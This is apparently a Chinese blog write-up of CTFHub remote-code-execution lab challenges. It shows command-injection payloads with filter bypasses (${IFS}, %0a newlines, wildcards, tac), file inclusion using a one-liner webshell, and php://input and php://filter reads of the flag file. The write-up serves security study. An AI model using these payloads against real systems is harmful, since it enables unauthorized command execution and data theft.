• ctfhub(rce智慧树)


    刚看完rce知识点做一下题,巩固一下、

     

    eval执行

    直接命令执行就行

    命令注入

    一般这种需要ping的都要用到管道符之类的,然后前面是数字 后面ls就行

    cat flag然后,查看源码获得flag

     “;”:执行完前面的语句再执行后面的语句。
    “|”:显示后面语句的执行结果。
    “||”:当前面的语句执行出错时,执行后面的语句。
    “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
    “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

     过滤cat

    换成tac  more less等等,文章中有具体的,和上题一样

    过滤空格

    空格换成,${IFS}绕过

    1;tac${IFS}flag_14680194475907.php

    过滤目录分隔符

    我觉得就是过滤了 ls后面的 ../这个

    继续查看目录,

     发现 flag_is_here没有后缀,应该是一个文件需要查看里面,但是../过滤,不能看根目录,可以用cd目录

    1;cd flag_is_here;cat flag_14398662425560.php

     1;cd flag_is_here;cat flag_14398662425560.php获得flag

    过滤运算符

    1. if (isset($_GET['ip']) && $_GET['ip']) {
    2.     $ip $_GET['ip'];
    3.     $m = [];
    4.     if (!preg_match_all("/(\||\&)/"$ip$m)) {
    5.         $cmd "ping -c 4 {$ip}";
    6.         exec($cmd$res);
    7.     } else {
    8.         $res $m;
    9.     }
    10. }
    11. ?>

     %0a,%0d都可以绕过,这道题没过滤;所以直接分号就出来了‘

    综合过滤练习


    if (isset($_GET['ip']) && $_GET['ip']) {
        $ip = $_GET['ip'];
        $m = [];
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
            $cmd = "ping -c 4 {$ip}";
            exec($cmd, $res);
        } else {
            $res = $m;
        }
    }

    其实就是把前面过滤的合起来了 

    ?ip=1%0als%0acd${IFS}fla*%0als

    ?ip=1%0als%0acd${IFS}fla*%0atac${IFS}fla*.php 

    因为flag被过滤,用*就可以了

    文件包含

    strpos函数,是判断串2是否在串1存在

    这道题应该是串1不存在flag,然后执行include,包含shell中的一句话木马 

    超链接,然后进行建蚁链接得到flag

     php://input

    php:// — 访问各个输入/输出流(I/O streams)
    php://input 是个可以访问请求的原始数据的只读流.
    可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的

    靶场环境,需要 php://

     首先

     

     需要把get请求改成post请求,然后cat得到flag

    本来试了一下上传一句话木马,发现可以链接但是不能获得数据

    远程包含

     和上题一样,还可以使用php://input通过

    读取源代码

    还是一样的代码,需要php://开头,但是尝试了 php://input不成功,可能是环境变量开关问题,然后用filter读取就可以了

    提示在根目录

    /?file=php://filter/read=convert.base64-encode/resource=/flag

     到此结束啦,day day up

     

  • 相关阅读:
    【Java】从Java代码到网络编程,三次握手又该如何理解
    在vue-cli项目中打包的 dist 静态文件不能直接双击打开访问解决方法-直接打开访问是空白的解决方法
    c++动态创建二维数组和释放
    Linux shell 脚本中的$$、$#、$?、$1的具体含义是什么呢?
    HTML笔记
    用这个免费CDN,治愈WordPress网站加载缓慢的大难题
    一文简述AI自动化漏洞修复实践
    某全球领先的晶圆代工企业:替代FTP实现大规模文件的高效传输
    Hystrix断路器
    react_14
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/125901533